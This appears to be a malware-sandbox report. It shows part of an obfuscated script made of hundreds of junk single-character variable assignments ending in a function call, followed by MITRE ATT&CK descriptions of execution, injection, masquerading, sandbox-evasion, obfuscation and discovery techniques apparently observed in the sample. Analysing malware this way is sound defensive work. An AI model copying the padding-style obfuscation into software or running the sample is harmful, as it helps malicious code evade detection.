589	uidbt = "W";
590	uidbt = "a";
591	uidbt = "j";
592	uidbt = "n";
593	uidbt = "F";
594	uidbt = "F";
595	uidbt = "y";
596	uidbt = "E";
597	uidbt = "h";
598	uidbt = "A";
599	uidbt = "C";
600	uidbt = "p";
601	uidbt = "h";
602	uidbt = "E";
603	uidbt = "O";
604	uidbt = "L";
605	uidbt = "V";
606	uidbt = "R";
607	uidbt = "S";
608	uidbt = "u";
609	uidbt = "F";
610	uidbt = "c";
611	uidbt = "o";
612	uidbt = "d";
613	uidbt = "p";
614	uidbt = "p";
615	uidbt = "B";
616	uidbt = "x";
617	uidbt = "E";
618	uidbt = "E";
619	uidbt = "U";
620	uidbt = "t";
621	uidbt = "a";
622	uidbt = "o";
623	uidbt = "S";
624	uidbt = "H";
625	kdntjmigs = "g";
626	kdntjmigs = "O";
627	kdntjmigs = "O";
628	kdntjmigs = "N";
629	kdntjmigs = "z";
630	kdntjmigs = "k";
631	kdntjmigs = "R";
632	kdntjmigs = "o";
633	kdntjmigs = "f";
634	kdntjmigs = "M";
635	kdntjmigs = "y";
636	kdntjmigs = "n";
637	kdntjmigs = "p";
638	kdntjmigs = "P";
639	kdntjmigs = "i";
640	kdntjmigs = "T";
641	kdntjmigs = "C";
642	kdntjmigs = "J";
643	kdntjmigs = "Y";
644	kdntjmigs = "S";
645	kdntjmigs = "E";
646	kdntjmigs = "P";
647	kdntjmigs = "-";
648	vnvcotgah = "C";
649	vnvcotgah = "o";
650	vnvcotgah = "c";
651	vnvcotgah = "K";
652	vnvcotgah = "B";
653	vnvcotgah = "J";
654	vnvcotgah = "F";
655	vnvcotgah = "B";
656	vnvcotgah = "M";
657	vnvcotgah = "l";
658	vnvcotgah = "i";
659	vnvcotgah = "w";
660	vnvcotgah = "y";
661	vnvcotgah = "W";
662	vnvcotgah = "s";
663	vnvcotgah = "i";
664	vnvcotgah = "r";
665	vnvcotgah = "g";
666	vnvcotgah = "z";
667	vnvcotgah = "R";
668	vnvcotgah = "E";
669	vnvcotgah = "n";
670	vnvcotgah = "i";
671	vnvcotgah = "6";
672	fsoas = "A";
673	fsoas = "E";
674	fsoas = "e";
675	fsoas = "y";
676	fsoas = "R";
677	fsoas = "w";
678	fsoas = "E";
679	fsoas = "n";
680	fsoas = "i";
681	fsoas = "M";
682	fsoas = "g";
683	fsoas = "u";
684	fsoas = "D";
685	fsoas = "o";
686	fsoas = "O";
687	fsoas = "t";
688	fsoas = "O";
689	fsoas = "J";
690	fsoas = "d";
691	fsoas = "P";
692	fsoas = "y";
693	fsoas = "v";
694	fsoas = "S";
695	fsoas = "v";
696	fsoas = "n";
697	gjvitjh = "n";
698	gjvitjh = "R";
699	gjvitjh = "U";
700	gjvitjh = "R";
701	gjvitjh = "j";
702	gjvitjh = "B";
703	gjvitjh = "A";
704	gjvitjh = "n";
705	gjvitjh = "u";
706	gjvitjh = "H";
707	gjvitjh = "K";
708	gjvitjh = "L";
709	gjvitjh = "S";
710	gjvitjh = "U";
711	gjvitjh = "H";
712	gjvitjh = "7";
713	sfnojhya = "n";
714	sfnojhya = "W";
715	sfnojhya = "H";
716	sfnojhya = "t";
717	sfnojhya = "l";
718	sfnojhya = "J";
719	sfnojhya = "s";
720	sfnojhya = "k";
721	sfnojhya = "A";
722	sfnojhya = "Q";
723	sfnojhya = "i";
724	sfnojhya = "e";
725	sfnojhya = "G";
726	sfnojhya = "Y";
727	sfnojhya = "g";
728	sfnojhya = "r";
729	sfnojhya = "P";
730	sfnojhya = "z";
731	sfnojhya = "Z";
732	sfnojhya = "E";
733	sfnojhya = "R";
734	sfnojhya = "F";
735	sfnojhya = "q";
736	sfnojhya = "e";
737	sfnojhya = "u";
738	sfnojhya = "S";
739	sfnojhya = "b";
740	sfnojhya = "A";
741	sfnojhya = "k";
742	sfnojhya = "W";
743	sfnojhya = "g";
744	sfnojhya = "o";
745	sfnojhya = "F";
746	sfnojhya = "E";
747	sfnojhya = "R";
748	sfnojhya = "z";
749	sfnojhya = "H";
750	sfnojhya = "o";
751	sfnojhya = "r";
752	sfnojhya = "O";
753	sfnojhya = "F";
754	sfnojhya = "r";
755	sfnojhya = "z";
756	sfnojhya = "x";
757	dscgcpgcm = "h";
758	dscgcpgcm = "n";
759	dscgcpgcm = "k";
760	dscgcpgcm = "u";
761	dscgcpgcm = "x";
762	dscgcpgcm = "V";
763	dscgcpgcm = "f";
764	dscgcpgcm = "y";
765	dscgcpgcm = "A";
766	dscgcpgcm = "I";
767	dscgcpgcm = "B";
768	dscgcpgcm = "J";
769	dscgcpgcm = "a";
770	dscgcpgcm = "z";
771	dscgcpgcm = "u";
772	dscgcpgcm = "t";
773	dscgcpgcm = "8";
774	eolocvxjl = "S";
775	eolocvxjl = "L";
776	eolocvxjl = "j";
777	eolocvxjl = "s";
778	eolocvxjl = "s";
779	eolocvxjl = "x";
780	eolocvxjl = "Y";
781	eolocvxjl = "D";
782	eolocvxjl = "f";
783	eolocvxjl = "u";
784	eolocvxjl = "M";
785	eolocvxjl = "R";
786	eolocvxjl = "A";
787	eolocvxjl = "m";
788	eolocvxjl = "z";
789	eolocvxjl = "C";
790	eolocvxjl = "c";
791	eolocvxjl = "S";
792	eolocvxjl = "D";
793	eolocvxjl = "W";
794	eolocvxjl = "y";
795	eolocvxjl = "X";
796	eolocvxjl = "F";
797	eolocvxjl = "P";
798	eolocvxjl = "K";
799	eolocvxjl = "W";
800	eolocvxjl = "a";
801	eolocvxjl = "K";
802	eolocvxjl = "H";
803	eolocvxjl = "H";
804	eolocvxjl = "\"";
805	mvzwkrv = "L";
806	mvzwkrv = "u";
807	mvzwkrv = "U";
808	mvzwkrv = "C";
809	mvzwkrv = "O";
810	mvzwkrv = "u";
811	mvzwkrv = "o";
812	mvzwkrv = "c";
813	lgoxeafd = "c";
814	lgoxeafd = "T";
815	lgoxeafd = "T";
816	lgoxeafd = "b";
817	lgoxeafd = "o";
818	lgoxeafd = "N";
819	lgoxeafd = "b";
820	lgoxeafd = "e";
821	lgoxeafd = "t";
822	lgoxeafd = "s";
823	lgoxeafd = "h";
824	lgoxeafd = "f";
825	lgoxeafd = "I";
826	lgoxeafd = "w";
827	lgoxeafd = "u";
828	lgoxeafd = "J";
829	lgoxeafd = "M";
830	lgoxeafd = "z";
831	lgoxeafd = "o";
832	lgoxeafd = "b";
833	pczbwbyun = "c";
834	pczbwbyun = "G";
835	pczbwbyun = "Q";
836	pczbwbyun = "n";
837	pczbwbyun = "h";
838	fvrfolha = "Z";
839	fvrfolha = "Q";
840	fvrfolha = "q";
841	fvrfolha = "Y";
842	fvrfolha = "C";
843	fvrfolha = "C";
844	fvrfolha = "p";
845	fvrfolha = "x";
846	fvrfolha = "i";
847	fvrfolha = "T";
848	fvrfolha = "T";
849	fvrfolha = "c";
850	fvrfolha = "r";
851	fvrfolha = "W";
852	fvrfolha = "Z";
853	fvrfolha = "a";
854	hatneqrob = "a";
855	hatneqrob = "o";
856	hatneqrob = "b";
857	hatneqrob = "i";
858	hatneqrob = "L";
859	hatneqrob = "k";
860	hatneqrob = "J";
861	hatneqrob = "J";
862	hatneqrob = "V";
863	hatneqrob = "Q";
864	hatneqrob = "T";
865	hatneqrob = "I";
866	hatneqrob = "f";
867	hatneqrob = "c";
868	hatneqrob = "a";
869	hatneqrob = "C";
870	hatneqrob = "w";
871	hatneqrob = "d";
872	hatneqrob = "L";
873	hatneqrob = "t";
874	hatneqrob = "c";
875	hatneqrob = "C";
876	hatneqrob = "R";
877	hatneqrob = "F";
878	hatneqrob = "u";
879	hatneqrob = "K";
880	hatneqrob = "q";
881	hatneqrob = "o";
882	hatneqrob = "J";
883	hatneqrob = "z";
884	hatneqrob = "i";
885	hatneqrob = "N";
886	hatneqrob = "V";
887	hatneqrob = "w";
888	hatneqrob = "q";
889	hatneqrob = "y";
890	hatneqrob = "T";
891	hatneqrob = "M";
892	hatneqrob = "p";
893	hatneqrob = "i";
894	hatneqrob = "b";
895	hatneqrob = "L";
896	mqdooei = "z";
897	mqdooei = "O";
898	mqdooei = "O";
899	mqdooei = "p";
900	mqdooei = "e";
901	mqdooei = "o";
902	mqdooei = "e";
903	mqdooei = "Y";
904	mqdooei = "M";
905	mqdooei = "A";
906	mqdooei = "h";
907	mqdooei = "j";
908	mqdooei = "a";
909	mqdooei = "V";
910	mqdooei = "q";
911	mqdooei = "W";
912	mqdooei = "v";
913	mqdooei = "D";
914	mqdooei = "Q";
915	mqdooei = "t";
916	mqdooei = "F";
917	mqdooei = "v";
918	mqdooei = "a";
919	mqdooei = "x";
920	mqdooei = "s";
921	mqdooei = "g";
922	mqdooei = "w";
923	mqdooei = "R";
924	mqdooei = "p";
925	mqdooei = "c";
926	mqdooei = "M";
927	mqdooei = "g";
928	mqdooei = "w";
929	mqdooei = "c";
930	mqdooei = "G";
931	mqdooei = "e";
932	mqdooei = "N";
933	mqdooei = "Y";
934	mqdooei = "Y";
935	mqdooei = "w";
936	mqdooei = "Y";
937	mqdooei = "F";
938	mqdooei = "I";
939	vxqll = "A";
940	vxqll = "M";
941	vxqll = "W";
942	vxqll = "B";
943	vxqll = "T";
944	vxqll = "C";
945	vxqll = "X";
946	vxqll = "b";
947	vxqll = "M";
948	vxqll = "A";
949	vxqll = "Q";
950	vxqll = "L";
951	vxqll = "R";
952	vxqll = "O";
953	vxqll = "X";
954	vxqll = "x";
955	vxqll = "W";
956	vxqll = "O";
957	vxqll = "x";
958	vxqll = "J";
959	vxqll = "E";
960	vxqll = "e";
961	vxqll = "B";
962	vxqll = "H";
963	vxqll = "l";
964	vxqll = "b";
965	vxqll = "S";
966	vxqll = "v";
967	vxqll = "n";
968	vxqll = "E";
969	vxqll = "b";
970	vxqll = "s";
971	vxqll = "c";
972	vxqll = "v";
973	vxqll = "U";
974	vxqll = "b";
975	vxqll = "D";
976	vxqll = "e";
977	vxqll = "M";
978	vxqll = "F";
979	vxqll = "P";
980	rrmthqk = "S";
981	rrmthqk = "K";
982	rrmthqk = "S";
983	rrmthqk = "S";
984	rrmthqk = "b";
985	rrmthqk = "t";
986	rrmthqk = "w";
987	rrmthqk = "U";
988	rrmthqk = "P";
989	rrmthqk = "N";
990	rrmthqk = "o";
991	rrmthqk = "m";
992	rrmthqk = "H";
993	rrmthqk = "O";
994	rrmthqk = "w";
995	rrmthqk = "V";
996	rrmthqk = "R";
997	rrmthqk = "R";
998	uifrcejvo = "C";
999	levqb = "U";
1000	levqb = "J";
1001	levqb = "C";
1002	levqb = "z";
1003	levqb = "J";
1004	levqb = "D";
1005	levqb = "F";
1006	levqb = "G";
1007	levqb = "Q";
1008	levqb = "c";
1009	levqb = "P";
1010	levqb = "j";
1011	levqb = "u";
1012	levqb = "z";
1013	levqb = "R";
1014	levqb = "X";
1015	levqb = "I";
1016	levqb = "l";
1017	levqb = "m";
1018	levqb = "v";
1019	levqb = "J";
1020	levqb = "x";
1021	levqb = "P";
1022	levqb = "a";
1023	levqb = "o";
1024	levqb = "K";
1025	levqb = "X";
1026	levqb = "Z";
1027	levqb = "s";
1028	levqb = "v";
1029	ljvbcjftj = "Z";
1030	ljvbcjftj = "L";
1031	ljvbcjftj = "Z";
1032	ljvbcjftj = "a";
1033	ljvbcjftj = "t";
1034	ljvbcjftj = "U";
1035	phcpm = "L";
1036	phcpm = "v";
1037	phcpm = "A";
1038	phcpm = "u";
1039	phcpm = "e";
1040	phcpm = "x";
1041	phcpm = "Y";
1042	phcpm = "V";
1043	phcpm = "L";
1044	phcpm = "H";
1045	phcpm = "O";
1046	phcpm = "L";
1047	phcpm = "h";
1048	phcpm = "c";
1049	phcpm = "Q";
1050	phcpm = "u";
1051	phcpm = "2";
1052	htibw = "F";
1053	htibw = "f";
1054	uoqwzdmxs = "M";
1055	uoqwzdmxs = "O";
1056	uoqwzdmxs = "p";
1057	uoqwzdmxs = "h";
1058	uoqwzdmxs = "r";
1059	uoqwzdmxs = "S";
1060	uoqwzdmxs = "I";
1061	uoqwzdmxs = "D";
1062	uoqwzdmxs = "J";
1063	uoqwzdmxs = "A";
1064	uoqwzdmxs = "D";
1065	uoqwzdmxs = "K";
1066	uoqwzdmxs = "e";
1067	vtguldgyb = "P";
1068	vtguldgyb = "C";
1069	vtguldgyb = "P";
1070	vtguldgyb = "u";
1071	vtguldgyb = "m";
1072	vtguldgyb = "j";
1073	vtguldgyb = "x";
1074	vtguldgyb = "I";
1075	vtguldgyb = "Z";
1076	vtguldgyb = "s";
1077	vtguldgyb = "y";
1078	vtguldgyb = "S";
1079	vtguldgyb = "x";
1080	vtguldgyb = "b";
1081	vtguldgyb = "G";
1082	vtguldgyb = "T";
1083	vtguldgyb = "h";
1084	vtguldgyb = "g";
1085	vtguldgyb = "y";
1086	vtguldgyb = "Y";
1087	vtguldgyb = "N";
1088	oykmtkir = "S";
1089	oykmtkir = "A";
1090	oykmtkir = "E";
1091	oykmtkir = "K";
1092	oykmtkir = "x";
1093	oykmtkir = "b";
1094	oykmtkir = "T";
1095	oykmtkir = "F";
1096	oykmtkir = "Q";
1097	oykmtkir = "o";
1098	oykmtkir = "S";
1099	oykmtkir = "L";
1100	oykmtkir = "P";
1101	oykmtkir = "j";
1102	oykmtkir = "t";
1103	oykmtkir = "A";
1104	oykmtkir = "O";
1105	oykmtkir = "L";
1106	oykmtkir = "O";
1107	oykmtkir = "g";
1108	oykmtkir = "E";
1109	oykmtkir = "t";
1110	oykmtkir = "d";
1111	oykmtkir = "S";
1112	oykmtkir = "s";
1113	mpewzq = "y";
1114	mpewzq = "A";
1115	mpewzq = "r";
1116	mpewzq = "u";
1117	mpewzq = "Q";
1118	mpewzq = "h";
1119	mpewzq = "H";
1120	mpewzq = "U";
1121	mpewzq = "d";
1122	mpewzq = "C";
1123	mpewzq = "g";
1124	mpewzq = "U";
1125	mpewzq = "d";
1126	mpewzq = "O";
1127	mpewzq = "P";
1128	mpewzq = "G";
1129	mpewzq = "x";
1130	mpewzq = "L";
1131	mpewzq = "Y";
1132	mpewzq = "c";
1133	mpewzq = "h";
1134	mpewzq = "I";
1135	mpewzq = "a";
1136	mpewzq = "B";
1137	mpewzq = "X";
1138	mpewzq = "F";
1139	mpewzq = "r";
1140	mpewzq = "P";
1141	mpewzq = "q";
1142	mpewzq = "n";
1143	mpewzq = "Z";
1144	mpewzq = "r";
1145	mpewzq = "t";
1146	mpewzq = "Y";
1147	mpewzq = "Q";
1148	mpewzq = "C";
1149	mpewzq = "w";
1150	mpewzq = "Q";
1151	mpewzq = "z";
1152	mpewzq = "t";
1153	mpewzq = "r";
1154	mpewzq = "z";
1155	mpewzq = "4";
1156	kfxhsj = "m";
1157	kfxhsj = "l";
1158	lodiryvm = "C";
1159	lodiryvm = "c";
1160	lodiryvm = "N";
1161	lodiryvm = "N";
1162	lodiryvm = "G";
1163	lodiryvm = "Z";
1164	lodiryvm = "o";
1165	lodiryvm = "K";
1166	lodiryvm = "H";
1167	lodiryvm = "B";
1168	lodiryvm = "E";
1169	lodiryvm = "V";
1170	lodiryvm = "h";
1171	lodiryvm = "R";
1172	lodiryvm = "Z";
1173	lodiryvm = "m";
1174	lodiryvm = "m";
1175	lodiryvm = "o";
1176	lodiryvm = "e";
1177	lodiryvm = "c";
1178	lodiryvm = "e";
1179	lodiryvm = "q";
1180	lodiryvm = "U";
1181	lodiryvm = "e";
1182	lodiryvm = "i";
1183	lodiryvm = "W";
1184	lodiryvm = "a";
1185	lodiryvm = "O";
1186	lodiryvm = "f";
1187	lodiryvm = "b";
1188	lodiryvm = "x";
1189	lodiryvm = "B";
1190	lodiryvm = "C";
1191	lodiryvm = "J";
1192	lodiryvm = "W";
1193	lodiryvm = "O";
1194	lodiryvm = "a";
1195	lodiryvm = "E";
1196	lodiryvm = "E";
1197	lodiryvm = "H";
1198	lodiryvm = "m";
1199	lodiryvm = "W";
1200	lodiryvm = "J";
1201	lodiryvm = "i";
1202	wbdpwsqrv = "o";
1203	wbdpwsqrv = "V";
1204	wbdpwsqrv = "u";
1205	wbdpwsqrv = "B";
1206	wbdpwsqrv = "C";
1207	wbdpwsqrv = "J";
1208	wbdpwsqrv = "z";
1209	wbdpwsqrv = "R";
1210	wbdpwsqrv = "A";
1211	wbdpwsqrv = "p";
1212	wbdpwsqrv = "h";
1213	wbdpwsqrv = "Q";
1214	wbdpwsqrv = "S";
1215	wbdpwsqrv = "P";
1216	wbdpwsqrv = "Z";
1217	wbdpwsqrv = "t";
1218	wbdpwsqrv = "z";
1219	wbdpwsqrv = "K";
1220	wbdpwsqrv = "s";
1221	wbdpwsqrv = "O";
1222	wbdpwsqrv = "j";
1223	wbdpwsqrv = "T";
1224	wbdpwsqrv = "n";
1225	wbdpwsqrv = "J";
1226	wbdpwsqrv = "O";
1227	wbdpwsqrv = "T";
1228	wbdpwsqrv = "L";
1229	wbdpwsqrv = "s";
1230	wbdpwsqrv = "s";
1231	wbdpwsqrv = "L";
1232	wbdpwsqrv = "K";
1233	wbdpwsqrv = "C";
1234	wbdpwsqrv = "f";
1235	wbdpwsqrv = "f";
1236	wbdpwsqrv = "g";
1237	wbdpwsqrv = "R";
1238	wbdpwsqrv = "R";
1239	wbdpwsqrv = "R";
1240	wbdpwsqrv = "B";
1241	wbdpwsqrv = "p";
1242	gephtet = "t";
1243	gephtet = "b";
1244	gephtet = "W";
1245	gephtet = "o";
1246	gephtet = "j";
1247	gephtet = "A";
1248	gephtet = "E";
1249	gephtet = "t";
1250	gephtet = "N";
1251	gephtet = "X";
1252	gephtet = "x";
1253	gephtet = "w";
1254	gephtet = "G";
1255	gephtet = "G";
1256	gephtet = "f";
1257	gephtet = "M";
1258	gephtet = "i";
1259	gephtet = "J";
1260	gephtet = "I";
1261	gephtet = "q";
1262	gephtet = "I";
1263	gephtet = "n";
1264	gephtet = "b";
1265	gephtet = "A";
1266	gephtet = "Y";
1267	gephtet = "g";
1268	gephtet = "f";
1269	gephtet = "L";
1270	gephtet = "t";
1271	gephtet = "L";
1272	gephtet = "f";
1273	gephtet = "T";
1274	gephtet = "R";
1275	gephtet = "S";
1276	gephtet = "e";
1277	gephtet = "b";
1278	gephtet = "O";
1279	jxbsdse = "C";
1280	jxbsdse = "D";
1281	jxbsdse = "i";
1282	jxbsdse = "r";
1283	jxbsdse = "d";
1284	jxbsdse = "x";
1285	jxbsdse = "x";
1286	jxbsdse = "O";
1287	jxbsdse = "V";
1288	jxbsdse = "W";
1289	jxbsdse = "n";
1290	jxbsdse = "B";
1291	jxbsdse = "T";
1292	jxbsdse = "z";
1293	jxbsdse = "Y";
1294	jxbsdse = "E";
1295	jxbsdse = "Z";
1296	jxbsdse = "p";
1297	jxbsdse = "i";
1298	jxbsdse = "o";
1299	jxbsdse = "j";
1300	jxbsdse = "t";
1301	jxbsdse = "J";
1302	jxbsdse = "I";
1303	jxbsdse = "l";
1304	jxbsdse = "u";
1305	jxbsdse = "H";
1306	jxbsdse = "m";
1307	jxbsdse = "I";
1308	jxbsdse = "v";
1309	jxbsdse = "q";
1310	jxbsdse = "o";
1311	jxbsdse = "J";
1312	jxbsdse = "1";
1313	jiufyvxef = "W";
1314	jiufyvxef = "y";
1315	jiufyvxef = "I";
1316	jiufyvxef = "g";
1317	jiufyvxef = "J";
1318	jiufyvxef = "S";
1319	jiufyvxef = "w";
1320	jiufyvxef = "b";
1321	jiufyvxef = "u";
1322	jiufyvxef = "m";
1323	vgsjt = "F";
1324	vgsjt = "c";
1325	vgsjt = "X";
1326	vgsjt = "j";
1327	vgsjt = "U";
1328	vgsjt = "j";
1329	vgsjt = "B";
1330	vgsjt = "s";
1331	vgsjt = "y";
1332	vgsjt = "T";
1333	vgsjt = "g";
1334	vgsjt = "d";
1335	vgsjt = "M";
1336	vgsjt = "B";
1337	vgsjt = "q";
1338	vgsjt = "c";
1339	vgsjt = "L";
1340	vgsjt = "S";
1341	vgsjt = "k";
1342	vgsjt = "i";
1343	vgsjt = "Z";
1344	vgsjt = "h";
1345	vgsjt = "n";
1346	vgsjt = "l";
1347	vgsjt = "z";
1348	vgsjt = "y";
1349	vgsjt = "q";
1350	vgsjt = "E";
1351	djzcb = "a";
1352	djzcb = "Y";
1353	djzcb = "C";
1354	djzcb = "t";
1355	djzcb = "x";
1356	djzcb = "Z";
1357	djzcb = "o";
1358	djzcb = "D";
1359	djzcb = "d";
1360	djzcb = "s";
1361	djzcb = "Y";
1362	djzcb = "t";
1363	djzcb = "l";
1364	djzcb = "A";
1365	djzcb = "O";
1366	djzcb = "n";
1367	djzcb = "f";
1368	djzcb = "P";
1369	djzcb = "e";
1370	djzcb = "j";
1371	iekbdx = "c";
1372	iekbdx = "h";
1373	iekbdx = "w";
1374	iekbdx = "H";
1375	iekbdx = "L";
1376	iekbdx = "j";
1377	iekbdx = "b";
1378	iekbdx = "i";
1379	iekbdx = "a";
1380	iekbdx = "A";
1381	iekbdx = "e";
1382	iekbdx = "F";
1383	iekbdx = "S";
1384	iekbdx = "z";
1385	iekbdx = "p";
1386	iekbdx = "k";
1387	iekbdx = "Y";
1388	iekbdx = "@";
1389	gmcukc = "B";
1390	gmcukc = "Z";
1391	gmcukc = "D";
1392	gmcukc = "c";
1393	gmcukc = "e";
1394	gmcukc = "k";
1395	gmcukc = "m";
1396	gmcukc = "c";
1397	gmcukc = "j";
1398	gmcukc = "S";
1399	gmcukc = "q";
1400	gmcukc = "L";
1401	gmcukc = "L";
1402	gmcukc = "L";
1403	gmcukc = "h";
1404	gmcukc = "Q";
1405	gmcukc = "Z";
1406	gmcukc = "a";
1407	gmcukc = "m";
1408	gmcukc = "A";
1409	gmcukc = "P";
1410	gmcukc = "m";
1411	gmcukc = "K";
1412	gmcukc = "n";
1413	gmcukc = "k";
1414	gmcukc = "P";
1415	gmcukc = "z";
1416	gmcukc = "M";
1417	gmcukc = "G";
1418	gmcukc = "L";
1419	gmcukc = "G";
1420	gmcukc = "r";
1421	jjnml = "Y";
1422	jjnml = "n";
1423	jjnml = "D";
1424	jjnml = "g";
1425	jjnml = "A";
1426	jjnml = "G";
1427	jjnml = "H";
1428	jjnml = "q";
1429	jjnml = "H";
1430	jjnml = "k";
1431	jjnml = "T";
1432	jjnml = "r";
1433	jjnml = "l";
1434	jjnml = "J";
1435	jjnml = "s";
1436	jjnml = "J";
1437	jjnml = "Z";
1438	jjnml = "E";
1439	jjnml = "N";
1440	jjnml = "Q";
1441	jjnml = "s";
1442	jjnml = "T";
1443	jjnml = "U";
1444	jjnml = "s";
1445	jjnml = "F";
1446	jjnml = "V";
1447	jjnml = "f";
1448	jjnml = "m";
1449	jjnml = "m";
1450	jjnml = "Q";
1451	jjnml = "z";
1452	jjnml = "n";
1453	jjnml = "m";
1454	jjnml = "R";
1455	jjnml = "E";
1456	jjnml = "F";
1457	jjnml = "J";
1458	jjnml = "O";
1459	jjnml = "9";
1460	sltnmoxg = "d";
1461	sltnmoxg = "i";
1462	sltnmoxg = "m";
1463	sltnmoxg = "O";
1464	sltnmoxg = "X";
1465	sltnmoxg = "i";
1466	sltnmoxg = "t";
1467	sltnmoxg = "L";
1468	sltnmoxg = "S";
1469	rjvae ( );	rjvae() ➔ undefined

Reset < >

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

